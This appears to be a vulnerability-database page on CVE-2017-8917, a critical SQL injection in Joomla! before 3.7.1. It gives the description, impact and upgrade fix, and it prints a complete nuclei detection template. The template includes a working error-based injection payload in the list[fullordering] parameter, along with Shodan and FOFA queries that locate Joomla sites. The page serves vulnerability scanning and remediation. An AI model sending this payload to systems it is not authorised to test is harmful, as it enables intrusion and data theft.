HexBrain

Browse / CVEs / CVE-2017-8917

CVE-2017-8917· joomla / joomla\!· CWE-89

Joomla! <3.7.1 - SQL Injection

criticalseverity
9.8CVSS score
99.8%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Joomla! before 3.7.1 contains a SQL injection vulnerability. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access, data theft, and potential compromise of the entire Joomla! website.

Fix

Upgrade Joomla! to version 3.7.1 or later to mitigate the SQL Injection vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,md5({{num}})),1)
Positive when: contains "{{md5(num)}}"

Run it with nuclei: nuclei -id CVE-2017-8917 -u <target>

The full check
id: CVE-2017-8917

info:
  name: Joomla! <3.7.1 - SQL Injection
  author: princechaddha
  severity: critical
  description: |
    Joomla! before 3.7.1 contains a SQL injection vulnerability. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data theft, and potential compromise of the entire Joomla! website.
  remediation: |
    Upgrade Joomla! to version 3.7.1 or later to mitigate the SQL Injection vulnerability.
  reference:
    - https://developer.joomla.org/security-centre/692-20170501-core-sql-injection.html
    - https://nvd.nist.gov/vuln/detail/CVE-2017-8917
    - https://web.archive.org/web/20211207050608/http://www.securitytracker.com/id/1038522
    - http://www.securitytracker.com/id/1038522
    - https://github.com/binfed/cms-exp
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-8917
    cwe-id: CWE-89
    epss-score: 0.99826
    epss-percentile: 0.9996
    cpe: cpe:2.3:a:joomla:joomla\!:3.7.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: joomla
    product: joomla\!
    shodan-query:
      - http.component:"Joomla"
      - http.html:"joomla! - open source content management"
      - http.component:"joomla"
      - cpe:"cpe:2.3:a:joomla:joomla\!"
    fofa-query: body="joomla! - open source content management"
  tags: cve2017,cve,joomla,sqli,vuln,vkev
variables:
  num: "999999999"

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,md5({{num}})),1)"

    matchers:
      - type: word
        part: body
        words:
          - '{{md5(num)}}'

References

Use this check only on systems you are authorised to test. Where the data comes from